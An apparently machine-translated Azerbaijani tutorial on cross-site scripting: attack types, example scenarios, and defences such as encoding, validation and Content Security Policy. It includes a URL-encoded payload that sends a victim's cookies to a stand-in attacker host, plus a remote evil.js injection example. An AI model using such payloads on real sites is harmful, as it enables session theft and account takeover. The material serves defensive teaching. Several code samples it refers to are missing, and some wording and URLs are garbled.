Saytlar Arası Skript və ya XSS. Saytlar arası skript (saytlar arası skript).

Saytlar Arası Scripting zəifliyi, təcavüzkarın istifadəçi brauzerinə yönləndiriləcək serverə icra olunan kodu ötürməsinə imkan verir. Bu kod ümumiyyətlə HTML / JavaScript-də yazılır, lakin VBScript, ActiveX, Java, Flash və ya digər brauzer tərəfindən dəstəklənən texnologiyalardan istifadə edilə bilər.

Təqdim olunan kod, həssas serverin təhlükəsizlik kontekstində (və ya təhlükəsizlik zonasında) icra olunur. Bu imtiyazlardan istifadə edərək kod brauzer vasitəsilə əldə edilə bilən həssas məlumatları oxuya, dəyişdirə və ya ötürə bilir. Hücuma məruz qalan istifadəçinin hesabında təhlükə yarana bilər (çerez oğurluğu), brauzeri başqa bir serverə yönləndirilə bilər və ya serverin məzmunu saxtalaşdırıla bilər. Diqqətlə planlaşdırılan bir hücum nəticəsində təcavüzkar, qurbanın brauzerindən istifadə edərək hücum edilən istifadəçi adından sayt səhifələrini görə bilər. Kod, təcavüzkar tərəfindən URL-də, HTTP sorğu protokolunun başlıqlarında Metodlar və quruluş (Cookie, user-agent, refferer), forma sahələrinin dəyərlərində və s.

Üç növ saytlar arası skript hücumları var: davamlı olmayan qeyri-davamlı(əks olunur), israrlı israrlı(saxlanılır) və DOM əsaslıdır. Davamlı və davamlı olmayan arasındakı əsas fərq, əks olunan versiyada kodun serverə köçürülməsi və müştəriyə qaytarılması bir HTTP sorğusu daxilində, saxlanılan bir sorğuda isə fərqli olaraq yerinə yetirilməsidir.

Davamlı olmayan bir hücumun həyata keçirilməsi, istifadəçinin təcavüzkar tərəfindən yaradılan linki izləməsini tələb edir (link e-poçt, ICQ və s. Vasitəsilə göndərilə bilər). Saytın yüklənməsi zamanı URL və ya sorğu başlıqlarına daxil edilmiş kod müştəriyə ötürüləcək və brauzerində icra olunacaq.

Kod bir serverə ötürüldükdə və bir müddət orada saxlanıldıqda davamlı bir zəiflik meydana gəlir. Bu vəziyyətdə ən populyar hədəflər forumlar, Veb əsaslı poçt və söhbət otaqlarıdır. Bir hücum üçün istifadəçinin linki izləməsinə ehtiyac yoxdur, həssas saytı ziyarət etmək kifayətdir.

Misal. Davamlı hücum. Bir çox saytlarda istifadəçilərin yazmasına icazə verən mesaj lövhələri və forumlar var. Qeydiyyatdan keçmiş istifadəçi adətən bir nömrə ilə tanınır

sessiya çerezdə saxlanılır. Bir təcavüzkar JavaScript kodu olan bir mesaj buraxarsa, istifadəçinin sessiya ID -sinə giriş əldə edəcək. Çerezləri keçmək üçün nümunə kod:

Misal. Hücumun əks olunan (davamlı olmayan) variantı. Bir çox server istifadəçilərə serverin məzmununu axtarmaq imkanı verir. Tipik olaraq, sorğu bir URL -də verilir və nəticədə səhifədə yerləşdirilir.

Məsələn, http: //portal.example/search? Q = "təzə pivə" URL -ni tıkladığınızda, istifadəçiyə axtarış nəticələrini və ifadəni ehtiva edən bir səhifə göstəriləcək: "Təzə istəyiniz üçün 0 səhifə tapıldı. pivə". Javascript axtarış ifadəsi olaraq keçərsə, istifadəçinin brauzerində icra olunacaq. Misal:

Http: //portal.example/search/? Q =

URLEncode kodlaşdırma, skript kodunu gizlətmək üçün istifadə edilə bilər

Http: //portal.example/index.php? Sessionid = 12312312 & istifadəçi adı =% 3C% 73% 63% 72% 69% 70% 74% 3E% 64% 6F% 63% 75% 6D% 65% 6E% 74 % 2E% 6C% 6F% 63% 61% 74% 69% 6F% 6E% 3D% 27% 68% 74% 74% 70% 3A% 2F% 2F% 61% 74% 74% 61% 63% 6B% 65 % 72% 68% 6F% 73% 74% 2E% 65% 78% 61% 6D% 70% 6C% 65% 2F% 63% 67% 69% 2D% 62% 69% 6E% 2F% 63% 6F% 6F % 6B% 69% 65% 73% 74% 65% 61% 6C% 2E% 63% 67% 69% 3F% 27% 2B% 64% 6F% 63% 75% 6D% 65% 6E% 74% 2E% 63 % 6F% 6F% 6B% 69% 65% 3C% 2F% 73% 63% 72% 69% 70% 74% 3E

David Flanagan JavaScript

Flanagan'ın David JavaScript Komple Bələdçi 5 Nəşr kitabından alındı.

"Sayt skriptləri və ya XSS" termini, təcavüzkarın həssas bir veb saytdakı sənədlərə HTML etiketləri və ya skriptləri daxil etdiyi bir kompüter zəifliyinə aiddir. Veb tərtibatçılarının XSS hücumlarından qorunmaq üçün server tərəfli skriptlər yazması adi haldır. Müştəri inkişaf etdirmək JavaScript skriptləri də XSS hücumlarından xəbərdar olmalı və onlara qarşı qoruyucu tədbirlər görməlidir.

Daxili HTML kodunu silmək üçün əvvəlcədən işlənməmiş istifadəçi məlumatlarına əsaslanan sənəd məzmununu dinamik olaraq yaradırsa, bir veb səhifəsi XSS hücumlarına qarşı həssas sayılır. Mənasız bir nümunə olaraq istifadəçini adla salamlamaq üçün JavaScript istifadə edən aşağıdakı veb səhifəni nəzərdən keçirin:

Skriptin ikinci sətri, ünvan çubuğunun? Character ilə başlayan hissəsini almaq üçün window.location.search.substring metodunu çağırır. Document.write () metodundan istifadə edərək dinamik olaraq yaradılan sənəd məzmunu əlavə olunur. Bu ssenari, veb səhifəsinə bənzər bir URL istifadə edərək daxil olacağını ehtimal edir:

Http://www.example.com/greet.html?name=David

Bu vəziyyətdə "Salam David" yazısı görünəcək. Səhifə aşağıdakı URL -dən istifadə olunmaqla tələb olunarsa nə olar:

Http://www.example.com/greet.html?name=%3Cscript%3Ealert("David")%3C/script%3E

Bu URL məzmunu ilə skript dinamik olaraq başqa bir skript yaradacaq (% 3C və% 3E kodları açılı mötərizələrdir)! Bu vəziyyətdə, daxil edilmiş skript sadəcə təhlükə yaratmayan bir informasiya qutusu göstərəcəkdir. Ancaq bu vəziyyəti təsəvvür edin:

Http: //siteA/greet.html? Ad =% 3Cscript src = siteB /evil.js% 3E% 3C /skript% 3E

Hücumda birdən çox saytın iştirak etdiyi üçün saytlar arası skript belə adlandırılır. B Saytı (və ya hətta C Saytı) B Saytından bir skript ehtiva edən A Saytına xüsusi hazırlanmış bir bağlantı (məsələn, göstərilən kimi) ehtiva edir. Evil.js skripti təcavüzkarın B saytında yerləşdirilir, lakin indi bu skript A saytına yerləşdirilmiş və A saytının məzmunu ilə istədiyini edə bilər. Səhifəni silə bilər və ya saytda başqa bir pozuntuya səbəb ola bilər (məsələn, xidmətin rədd edilməsi, növbəti hissədə müzakirə ediləcək). Bu, A Saytı ziyarətçilərinə mənfi təsir göstərə bilər. Belə bir zərərli skriptin A Saytında saxlanılan çerezlərin məzmununu (ehtimal ki hesab nömrələri və ya digər şəxsi məlumatları ehtiva edən) oxuya bilməsi və bu məlumatları B Saytına geri göndərməsi daha təhlükəlidir. quraşdırılmış skript hətta klaviatura vuruşlarını izləyə bilər və bu məlumatları B saytına göndərə bilər.

XSS hücumlarının qarşısını almağın ümumi yolu, sənəd məzmununu dinamik şəkildə yaratmaq üçün istifadə etməzdən əvvəl şübhəli mənşəli bütün məlumatlardan HTML etiketlərini çıxarmaqdır. Daha əvvəl göstərilən Salam.html faylında bu problemi həll etmək üçün etiketi əhatə edən bucaq mötərizələrini çıxarmaq üçün skriptə aşağıdakı sətri əlavə edin.". Səhifəni ziyarət edən hər bir istifadəçi indi aşağıdakı cavabı alacaq:

Son şərh:

İstifadəçinin brauzeri səhifəni yüklədikdə, etiketlərdəki JavaScript də daxil olmaqla hər şeyi icra edəcək ... Bu, müəyyən bir kod kodunun həqiqətən icra edilməsindən asılı olmayaraq, təcavüzkar tərəfindən vurulan bir skriptin mövcudluğunun problem olduğunu göstərir.

İkinci hissə: XSS hücumu

XSS hücumunun iştirakçıları

XSS hücumunun necə işlədiyini ətraflı təsvir etməzdən əvvəl, XSS hücumunda iştirak edən aktyorları tanımalıyıq. Ümumiyyətlə, bir XSS hücumunun üç iştirakçısı var: Veb saytı, qurban və kraker.

Veb saytı tələb edən istifadəçilər üçün HTML səhifələri hazırlayır. Nümunələrimizdə http: // website /ünvanında yerləşir.
- Veb sayt məlumat bazası istifadəçilər tərəfindən saytın səhifələrinə daxil edilən bəzi məlumatları saxlayan bir verilənlər bazasıdır.
Qurban Brauzerini istifadə edərək ondan səhifələr tələb edən adi bir veb istifadəçisidir.
Hücum Saytda bir XSS zəifliyindən istifadə edərək qurbana hücum etmək niyyətində olan bir təcavüzkardır.
- Cracker server Qurbanın məxfi məlumatlarını oğurlamaq məqsədi ilə təcavüzkarın nəzarətində olan bir veb serverdir. Nümunələrimizdə, http: // təcavüzkar /ünvanında yerləşir.

Nümunə hücum ssenarisi

Bu skript, istifadəçinin brauzerini təcavüzkarın serverinə yönləndirəcək fərqli bir URL üçün HTTP sorğusu yaradacaq. URL, sorğu parametri olaraq qurbanın çerezlərini ehtiva edir, təcavüzkarın serverinə bir HTTP sorğusu gəldikdə, təcavüzkar bu çerezləri sorğudan çıxara bilər. Təcavüzkar çerezləri aldıqdan sonra qurbanın kimliyini göstərmək və sonrakı hücuma başlamaq üçün onlardan istifadə edə bilər.

Bundan sonra yuxarıdakı HTML kodu çağırılacaq zərərli sim və ya zərərli skript... Stringin qurbanın brauzerində HTML olaraq işləndiyi təqdirdə yalnız zərərli olduğunu başa düşmək vacibdir, bu yalnız veb saytında XSS zəifliyi olduqda baş verə bilər.

Bu hücum nümunəsi necə işləyir

Aşağıdakı diaqram, təcavüzkarın hücum etdiyini göstərir:

Təcavüzkar, veb saytının verilənlər bazasına zərərli bir sim daxil etmək üçün veb sayt formalarından birini istifadə edir.
Zərərçəkmiş bir saytdan bir səhifə istədi.
Sayt cavab olaraq verilənlər bazasından zərərli bir sətir ehtiva edir və qurbana göndərir.
Qurbanın brauzeri cavabın içərisində zərərli skript işlədərək qurbanın çerezini təcavüzkarın serverinə göndərir.

XSS növləri

XSS hücumunun hədəfi həmişə zərərçəkənin brauzerində zərərli bir JavaScript skriptini yerinə yetirməkdir. Bu məqsədə çatmağın bir neçə əsaslı fərqli yolu var. XSS hücumları tez -tez üç növə bölünür:

Saxlanılan (davamlı) XSS zərərli sətrin veb saytının verilənlər bazasından qaynaqlandığı yer.
Yansıtılan (uçucu) XSS zərərli ipin qurbanın istəyindən qaynaqlandığı yer.
DOM XSS zəifliyin server tərəfi kodundan daha çox müştəri tərəfi kodunda meydana gəldiyi yer.

Əvvəlki nümunə saxlanılan XSS hücumunu göstərir. İndi iki digər XSS hücum növünü təsvir edəcəyik: Yansıtılan XSS və DOM XSS.

XSS əks olundu

Yansıtılan XSS hücumunda, zərərli sim qurbanın veb saytına olan müraciətinin bir hissəsidir. Sayt bu zərərli xətti qəbul edir və istifadəçiyə geri göndərdiyi cavaba daxil edir. Aşağıdakı diaqram bu ssenarini göstərir:

Qurban, veb saytına bir URL sorğusu göndərmək üçün təcavüzkar tərəfindən aldadılır.
Sayt qurbanın cavabında istək URL -dən zərərli bir sətir ehtiva edir.
Qurbanın brauzeri cavabda olan zərərli skriptləri yerinə yetirir və qurbanın çerezini təcavüzkarın serverinə göndərir.

XSS hücumundan necə uğurla qorunmaq olar?

Yansıtılan XSS hücumu zərərsiz görünə bilər, çünki qurbanın zərərli bir simli öz adından sorğu göndərməsini tələb edir. Heç kim könüllü olaraq özünə hücum etməyəcəyi üçün hücumu gerçəkləşdirmək üçün heç bir yolun olmadığı görünür.

Göründüyü kimi, qurbanı özlərinə qarşı əks olunan XSS hücumuna başlamağın ən az iki ümumi yolu var:

İstifadəçi müəyyən bir şəxsdirsə, təcavüzkar zərərçəkmişə zərərli bir URL göndərə bilər (məsələn, e -poçt və ya ani mesajlaşma vasitəsi ilə) və veb saytını ziyarət etmək üçün bağlantı açaraq onları aldada bilər.
Hədəf böyük bir istifadəçi qrupudursa, təcavüzkar zərərli bir URL -yə bir keçid göndərə bilər (məsələn, öz veb saytında və ya sosial şəbəkədə) və ziyarətçilərin linki vurmasını gözləyə bilər.

Bu üsulların hər ikisi də oxşardır və hər ikisi də müəyyən edə biləcək istifadəçilərdən zərərli simləri maskalamaq üçün URL qısaltma xidmətlərindən istifadə edərək daha uğurlu ola bilər.

DOM -da XSS

DOM XSS həm saxlanılan, həm də əks olunan XSS hücumunun bir variantıdır. Bu XSS hücumunda zərərli sətir, saytın həqiqi JavaScript -i icra olunana qədər qurbanın brauzeri tərəfindən işlənmir. Aşağıdakı diaqram, əks olunan XSS hücumu üçün bu ssenarini göstərir:

Təcavüzkar zərərli bir simli olan bir URL yaradır və qurbana göndərir.
Qurban, veb saytına bir URL sorğusu göndərmək üçün təcavüzkar tərəfindən aldadılır.
Sayt sorğunu qəbul edir, lakin cavabda zərərli simli daxil etmir.
Qurbanın brauzeri cavabda olan qanuni skripti yerinə yetirir, bunun nəticəsində zərərli skript səhifəyə daxil ediləcək.
Zərərçəkənin brauzeri səhifəyə daxil edilmiş zərərli skriptləri yerinə yetirir və qurbanın çerezini təcavüzkarın serverinə göndərir.

DOM -da XSS arasındakı fərq nədir?

Saxlanılan və əks olunan XSS hücumlarının əvvəlki nümunələrində, server zərərli skript vurur və sonra qurbana cavab olaraq göndərilir. Zərərçəkənin brauzeri cavab aldıqda, zərərli skriptin səhifənin qanuni məzmununun bir hissəsi olduğunu zənn edir və digər skriptlər kimi avtomatik olaraq səhifə yükləmə vaxtında yerinə yetirir.

DOM XSS hücum nümunəsində zərərli skript səhifənin bir hissəsi olaraq daxil edilmir; səhifə yüklənməsi zamanı avtomatik olaraq yerinə yetirilən yeganə skript səhifənin qanuni hissəsidir. Problem, bu qanuni skriptin səhifəyə HTML əlavə etmək üçün birbaşa istifadəçi girişindən istifadə etməsidir. Zərərli sətir innerHTML istifadə edərək səhifəyə daxil edildiyindən zərərli skriptin yerinə yetirilməsinə səbəb olaraq HTML olaraq ayrılır.

Bu fərq kiçik, lakin çox vacibdir:

Ənənəvi XSS -də, zərərli JavaScript, server tərəfindən göndərilən HTML -nin bir hissəsi olaraq səhifə yüklənməsində icra olunur.
DOM -da XSS vəziyyətində, zərərli JavaScript, səhifə yükləndikdən sonra icra edilir və nəticədə həmin qanuni JavaScript səhifəsi istifadəçi girişinə (zərərli simli olan) təhlükəli şəkildə daxil olur.

XSS DOM -da necə işləyir?

Əvvəlki nümunədə JavaScript tələb olunmur; server bütün HTML -ni təkbaşına yarada bilər. Server tərəfindəki kod zəifliklərdən azad olsaydı, veb sayt XSS zəifliyinə qarşı həssas olmayacaqdı.

Bununla birlikdə, veb tətbiqləri inkişaf etdikcə daha çox HTML səhifələri serverdə deyil, müştəri tərəfində JavaScript istifadə edərək yaradılır. İstənilən vaxt məzmun bütün səhifəni yeniləmədən dəyişməlidir, bu JavaScript istifadə etməklə mümkündür. Xüsusilə, bu, AJAX sorğusundan sonra səhifənin yenilənməsi halında baş verir.

Bu o deməkdir ki, XSS zəiflikləri yalnız saytınızın kodunun server tərəfində deyil, həm də saytınızın müştəri kodunun JavaScript tərəfində də ola bilər. Beləliklə, tamamilə təhlükəsiz server tərəfli kodla belə, səhifə yükləndikdən sonra DOM yeniləndikdə müştəri kodu istifadəçi girişini daxil etmək üçün hələ də təhlükəsiz olmaya bilər. Bu baş verərsə, müştəri tərəfi kodu, server tərəfindəki kodun günahı olmadan XSS hücumuna icazə verəcəkdir.

DOM əsaslı XSS serverə görünə bilməz

Zərərli sətrin heç vaxt veb sayt serverinə göndərilmədiyi xüsusi bir DOM XSS hücumu var: bu, zərərli simli URL identifikatorunun bir hissəsində ( # simvolundan sonra hər hansı bir şey) olduqda baş verir. Brauzerlər URL -in bu hissəsini serverə göndərmirlər, buna görə veb saytına server tərəfli kodla daxil olmaq mümkün deyil. Müştəri tərəfindəki kodun buna girişi var və beləliklə, təhlükəli emal yolu ilə XSS hücumu həyata keçirmək mümkündür.

Bu hal fraqment identifikatoru ilə məhdudlaşmır. LocalStorage və IndexedDB kimi yeni HTML5 xüsusiyyətləri kimi serverə görünməyən başqa bir istifadəçi girişi var.

Üçüncü hissə:
XSS -in qarşısının alınması

XSS Qarşısının Alınması Texnikaları

Xatırladaq ki, XSS kod enjeksiyon hücumudur: istifadəçi girişi səhvən zərərli kod kimi şərh olunur. Bu cür kod enjeksiyonunun qarşısını almaq üçün girişin təhlükəsiz idarə edilməsi tələb olunur. Bir web geliştiricisi üçün, etibarlı giriş işlənməsini həyata keçirməyin iki əsaslı fərqli yolu var:

Kodlaşdırma istifadəçinin məlumatları yalnız məlumat olaraq daxil etməsinə imkan verən və brauzerin kod olaraq işlənməsinə icazə verməyən bir üsuldur.
Doğrulama brauzerin zərərli əmrlər olmadan kod kimi şərh etməsi üçün istifadəçi girişini süzməyin bir yoludur.

Bunlar XSS -in qarşısının alınmasının kökündən fərqli üsulları olsa da, onlardan hər hansı birini istifadə edərkən başa düşülməsi vacib olan ortaq cəhətləri var:

Kontekst Girişin təhlükəsiz idarə edilməsi, istifadəçi girişinin səhifədə harada istifadə olunmasından asılı olaraq fərqli şəkildə edilməlidir. Gələn / gedən Təhlükəsiz giriş emalı ya saytınız giriş (daxil olan trafik) aldıqda və ya sayt istifadəçi girişini səhifə məzmununa daxil etməzdən dərhal əvvəl (gedən) həyata keçirilə bilər. Müştəri / Server Girişlərin təhlükəsiz işlənməsi ya müştəri tərəfində, ya da hər biri fərqli şərtlərdə lazım olan server tərəfində edilə bilər.

Kodlaşdırmanın və doğrulamanın necə işlədiyini ətraflı izah etməzdən əvvəl bu nöqtələrin hər birini təsvir edirik.

Kontekstlərdə İstifadəçi Girişinin İdarə Edilməsi

Veb səhifədə istifadəçi girişinin tətbiq oluna biləcəyi bir çox kontekst var. Hər biri üçün xüsusi qaydalara riayət edilməlidir ki, istifadəçi girişi onun kontekstindən "qaça" bilməsin və zərərli kod kimi təfsir oluna bilsin. Aşağıdakılar ən çox yayılmış kontekstlərdir:

Kontekstlər nə qədər vacibdir?

Təsvir edilən bütün kontekstlərdə, istifadəçi girişi ilk kodlaşdırmadan və yoxlamadan əvvəl daxil edilərsə, XSS zəifliyi yarana bilər. Təcavüzkar, bu kontekst üçün bağlayıcı ayırıcı və sonra zərərli kodu daxil etməklə zərərli kodu vura bilər.

Məsələn, bir anda bir veb sayt istifadəçi girişini birbaşa HTML atributuna daxil edərsə, təcavüzkar, aşağıda göstərildiyi kimi, girişini tırnak işarəsi ilə başlayaraq zərərli skript vura bilər:

İstifadəçi girişindəki bütün sitatları silməklə bunun qarşısını almaq olardı və yaxşı olardı, ancaq bu kontekstdə. Giriş fərqli bir kontekstə daxil edilərsə, bağlanma ayırıcısı fərqli olacaq və enjeksiyon mümkün olacaq. Bu səbəbdən, girişin təhlükəsiz idarə edilməsi həmişə istifadəçi girişinin daxil ediləcəyi kontekstə uyğunlaşdırılmalıdır.

Gələn / gedən istifadəçi girişinin idarə edilməsi

İstifadəçi olaraq, XSS -in saytımızın əldə etdiyi anda bütün istifadəçi girişlərini kodlaşdırmaq və ya yoxlamaqla qarşısını almaq mümkün görünə bilər. Bu şəkildə, hər hansı bir zərərli sətir səhifəyə daxil edildikdə artıq zərərsizləşdiriləcək və HTML nəsil skriptləri istifadəçi girişini etibarlı şəkildə idarə etməkdən narahat olmayacaqdır.

Problem, əvvəllər təsvir edildiyi kimi, istifadəçi girişinin səhifədəki bir çox kontekstə daxil edilməsidir. İstifadəçi girişinin kontekstə nə vaxt daxil olacağını - nəticədə necə daxil ediləcəyini və eyni istifadəçi girişinin tez -tez fərqli kontekstlərdə daxil edilməsini təyin etməyin asan bir yolu yoxdur. XSS -in qarşısını almaq üçün daxil olan məlumatların işlənməsinə güvənərək səhvlərə meylli olacaq çox kövrək bir həll yaradırıq. (Köhnə PHP sehrli sitatları belə bir həll nümunəsidir.)

Bunun əvəzinə, gedən girişlərin idarə edilməsi XSS -ə qarşı əsas müdafiə xəttiniz olmalıdır, çünki hansı istifadəçi girişinin daxil ediləcəyinin xüsusi kontekstini nəzərə ala bilər. Müəyyən dərəcədə, gələn yoxlama ikincil bir müdafiə təbəqəsi əlavə etmək üçün istifadə edilə bilər, ancaq daha sonra bu barədə.

İstifadəçi girişini etibarlı şəkildə idarə etməyin mümkün olduğu yerlərdə

Əksər müasir veb tətbiqlərində istifadəçi girişi həm server tərəfindəki kodda, həm də müştəri tərəfindəki kodda aparılır. Hər növ XSS-dən qorunmaq üçün həm server tərəfli kodda, həm də müştəri tərəfində kodda etibarlı giriş emalı edilməlidir.

Ənənəvi XSS-dən qorunmaq üçün server tərəfli kodda təhlükəsiz giriş işlənməlidir. Bu, server tərəfindən dəstəklənən bəzi dillərdən istifadə etməklə edilir.
Serverin heç vaxt zərərli bir sətir almadığı DOM-da bir XSS hücumundan qorunmaq üçün (məsələn, əvvəllər təsvir olunan ID fraqmenti hücumu) müştəri tərəfli kodda etibarlı giriş işlənməlidir. Bu JavaScript istifadə edərək edilir.

İndi kontekstin nə üçün vacib olduğunu, gələn və gedən giriş emalı arasındakı fərqin nə üçün vacib olduğunu və niyə təhlükəsiz giriş emalının həm müştəri, həm də server tərəfində edilməli olduğunu izah etdik, izah etməyə davam edə bilərik. giriş emalı (kodlaşdırma və doğrulama) əslində həyata keçirilir.

Kodlaşdırma

Kodlaşdırma, brauzerin istifadəçi girişini kod deyil, yalnız məlumat kimi şərh etməsi lazım olduğu bir vəziyyətdən çıxış yoludur. Web inkişafında ən populyar kodlaşdırma növü kimi simvolları çevirən HTML maskalanmasıdır < və > v < və > müvafiq olaraq.

Aşağıdakı yalançı kod, istifadəçi girişinin (istifadəçi girişinin) HTML maskalanması ilə necə kodlaşdırıla biləcəyini və sonra server tərəfli skriptdən istifadə edərək səhifəyə daxil edilməsinin nümunəsidir:

çap et " "
çap "Son şərh:"
encodeHtml (userInput) çap edin
çap et ""

İstifadəçi aşağıdakı sətrə daxil olarsa, yaranan HTML bu kimi görünəcək:

Son şərh:

Xüsusi bir məna daşıyan bütün simvollar maskalandığından, brauzer HTML kimi istifadəçi girişinin heç bir hissəsini təhlil etməyəcək.

Müştəri və server tərəfinin kodlaşdırılması

Müştəri tərəfi kodlaşdırma həyata keçirilərkən, fərqli kontekstlər üçün məlumatları kodlaşdıran funksiyaları olan JavaScript həmişə istifadə olunur.

Server tərəfli kodunuzda kodlaşdırma apararkən dilinizdə və ya çərçivənizdə mövcud olan funksiyalara güvənirsiniz. Çox sayda dil və çərçivə mövcud olduğuna görə, bu təlimat hər hansı bir serverdə və ya çərçivə dilində kodlaşdırmanın detallarını əhatə etməyəcək. Bununla birlikdə, server tərəfli kod yazarkən müştəri tərəfi JavaScript kodlaşdırma xüsusiyyətləri də istifadə olunur.

Müştəri tərəfinin kodlaşdırılması

JavaScript ilə müştəri tərəfi istifadəçi girişini kodlaşdırarkən, bütün məlumatları kontekstə həssas bir üslubda avtomatik kodlayan bir neçə daxili metod və xüsusiyyət var:

Yuxarıda göstərilən son kontekst (JavaScript dəyərləri) bu siyahıya daxil edilmir, çünki JavaScript JavaScript mənbə koduna daxil ediləcək məlumatları kodlaşdırmaq üçün daxili bir yol təqdim etmir.

Kodlaşdırma məhdudiyyətləri

Kodlaşdırarkən belə, bəzi kontekstlərdə zərərli sətirlərdən istifadə etmək mümkündür. Bunun ən yaxşı nümunəsi, aşağıdakı nümunədə olduğu kimi istifadəçi girişinin URL təmin etmək üçün istifadə edilməsidir:

document.querySelector ("a"). href = userInput

Href elementinin xüsusiyyətində göstərilən dəyər avtomatik olaraq onu kodlaşdırsa da, atributun dəyərindən başqa bir şey olmayacaq, ancaq bu, təcavüzkarın "javascript:" ilə başlayan bir URL daxil etməsinə mane olmur. Bağlantı tıklandığında, tikintisindən asılı olmayaraq, URL daxilində quraşdırılmış JavaScript icra ediləcək.

İstifadəçilərin səhifədəki bəzi HTML kodlarından istifadə etmələrini istədiyiniz zaman kodlaşdırma da təsirli bir həll deyil. Bir nümunə, istifadəçinin xüsusi HTML istifadə edə biləcəyi bir istifadəçi profili səhifəsi ola bilər. Bu düz HTML kodlanmışsa, profil səhifəsi yalnız düz mətndən ibarət ola bilər.

Belə vəziyyətlərdə kodlaşdırma, sonradan biləcəyimiz doğrulama ilə tamamlanmalıdır.

Doğrulama

Doğrulama, istifadəçi girişini süzgəcdən keçirməkdir ki, bütün zərərli hissələri içindəki bütün kodu silmədən silinsin. Veb inkişafında ən çox istifadə olunan doğrulama növlərindən biri, bəzi HTML elementlərindən istifadə etməyə imkan verir (məsələn, və ) ancaq başqalarını qadağan edir (məs.

Düzgün müəyyən edilmiş bir CSP siyasəti ilə, brauzer zərərli - script.js faylını yükləyə və icra edə bilməz, çünki http: // təcavüzkar / etibarlı mənbə kimi göstərilmir. Sayt istifadəçi girişini etibarlı şəkildə idarə edə bilməsə də, bu halda CSP siyasəti zəifliyi və hər hansı bir zərərin qarşısını aldı.

Təcavüzkar, xarici bir faylla əlaqələndirmək əvəzinə, skript koduna kod daxil etsə belə, düzgün qurulmuş bir CSP siyasəti JavaScript -in vurulmasının qarşısını alar, zəiflik və zərərin qarşısını alır.

CSP -ni necə aktivləşdirə bilərəm?

Varsayılan olaraq, brauzerlər CSP -lərdən istifadə etmirlər. Veb saytınızda SCP -ni aktivləşdirmək üçün səhifələrdə əlavə bir HTTP başlığı olmalıdır: Məzmun - Təhlükəsizlik - Siyasət. Bu başlığı ehtiva edən hər hansı bir səhifə, brauzerin CSP -ni dəstəkləməsi şərtilə, brauzer tərəfindən yüklənərkən təhlükəsizlik siyasətini tətbiq edəcək.

Təhlükəsizlik siyasəti hər HTTP cavabı ilə göndərildiyindən, serverdə hər bir səhifə üçün siyasəti fərdi olaraq təyin etmək mümkündür. Eyni cavab, hər bir cavaba eyni CSP başlığını daxil etməklə bütün veb saytına tətbiq edilə bilər.

Məzmun-Təhlükəsizlik-Siyasət başlığındakı dəyər, saytınıza tətbiq ediləcək bir və ya daha çox təhlükəsizlik siyasətini təyin edən bir simli ehtiva edir. Bu sətrin sintaksisi daha sonra izah ediləcək.

Bu hissədəki başlıq nümunələri aydınlıq üçün sətir kəsikləri və girintilərdən istifadə edir; onlar bu başlıqda görünməməlidir.

CSP sintaksisi

CSP başlığının sintaksisi belədir:

Məzmun - Təhlükəsizlik - Siyasət:
direktiv mənbə ifadəsi, mənbə ifadəsi, ...;
direktiv ...;
...

Bu sintaksis iki elementdən ibarətdir:

Direktivlər verilən siyahıdan alınan mənbənin növünü göstərən sətirlərdir.

Mənbə İfadələri mənbələrin yüklənə biləcəyi bir və ya daha çox serveri təsvir edən bir modeldir.

Hər bir direktiv üçün, mənbə ifadəsindəki məlumatlar, hansı növ mənbələrin uyğun tipli qaynaqları yükləmək üçün istifadə oluna biləcəyini təyin edir.

Direktivlər

Aşağıdakı direktivlər CSP başlığında istifadə edilə bilər:

əlaqə - src

font-src

çərçivə-src

img - src

media-src

obyekt-src

script-src

stil-src

Buna əlavə olaraq, xüsusi default-src direktivi, başlığa daxil olmayan bütün direktivlər üçün standart dəyər təmin etmək üçün istifadə edilə bilər.

Mənbə ifadəsi

Mənbə ifadəsi yaratmaq üçün sintaksis aşağıdakı kimidir:

protokol: // host-name: port-number

Host adı *ilə başlaya bilər ki, bu da verilən ana adın hər hansı bir alt domeninin həll olunacağını bildirir. Eynilə, liman nömrəsi *olaraq göstərilə bilər, yəni bütün limanlara icazə veriləcək. Bundan əlavə, protokol və port nömrəsi atlana bilər. Heç bir protokol göstərilməyibsə, siyasət bütün mənbələrin HTTPS istifadə edərək yüklənməsini tələb edəcək.

Yuxarıdakı sintaksisə əlavə olaraq, mənbə ifadəsi alternativ olaraq xüsusi məna daşıyan dörd açar sözdən biri ola bilər (sitat daxil):
"heç biri" mənbələri deaktiv edir. "özünü" veb səhifəsinin yerləşdiyi ev sahibinin mənbələrini həll edir. "etibarsız-inline" səhifədəki mənbələri satır içi olaraq həll edir
Sonra belə görünəcək:

Brauzerlər çox sayda saytda çerezləri saxlayırlar. Hər bir sayt yalnız özü tərəfindən saxlanılan çerezləri qəbul edə bilər. Məsələn, example.com brauzerinizdə bəzi çerezləri saxlayıb. Başqa bir sayta daxil olsanız, bu sayt (müştəri və server skriptləri) example.com tərəfindən saxlanılan çerezlərə daxil ola bilməz.

Example.com saytı XSS -ə qarşı həssasdırsa, bu o deməkdir ki, bu və ya digər şəkildə ona JavaScript kodu daxil edə bilərik və bu kod example.com saytı adından icra ediləcək! Bunlar. bu kod, məsələn, example.com saytının çerezlərinə giriş əldə edəcək.

Düşünürəm ki, hər kəs JavaScript -in istifadəçinin brauzerlərində icra edildiyini xatırlayır, yəni. XSS varlığında, vurulan zərərli kod veb səhifəsini açan istifadəçinin məlumatlarına giriş əldə edir.

Enjekte edilmiş kod JavaScript -in edə biləcəyi hər şeyi edə bilər, yəni:

ziyarət edilən saytın çerezlərinə daxil olur

səhifənin görünüşündə hər hansı bir dəyişiklik edə bilər

panoya daxil olur

JavaScript proqramlarını, məsələn, düymələri qeyd edənləri (sıxılmış düymələri kəsənlər) vura bilər.

BeEF -ə qoşulun

Ən sadə çerez nümunəsi:

Əslində, xəbərdarlıq yalnız XSS aşkarlanması üçün istifadə olunur. Əsl zərərli yük gizli hərəkətlər edir. Təcavüzkarın uzaq serveri ilə gizli əlaqə qurur və oğurlanmış məlumatları ona ötürür.

XSS baxışları

XSS növlərini başa düşməyiniz üçün ən vacib şey bunlardır:

Saxlanılır (Davamlı)

Yansıtılan (Qalıcı olmayan)

Sabitlərin nümunəsi:

Təcavüzkar tərəfindən daxil edilmiş və serverdə saxlanılan xüsusi hazırlanmış qonaq kitabçası mesajı (şərh, forum mesajı, profil) istifadəçilər bu səhifəni göstərmək istədikdə hər dəfə serverdən endirilir.

Bir təcavüzkar, məsələn, SQL enjeksiyonu ilə server məlumatlarına giriş əldə etdi və istifadəçiyə göstərilən məlumatlara zərərli JavaScript kodu (keylogger və ya BeEF ilə) daxil etdi.

Uçucu bir nümunə:

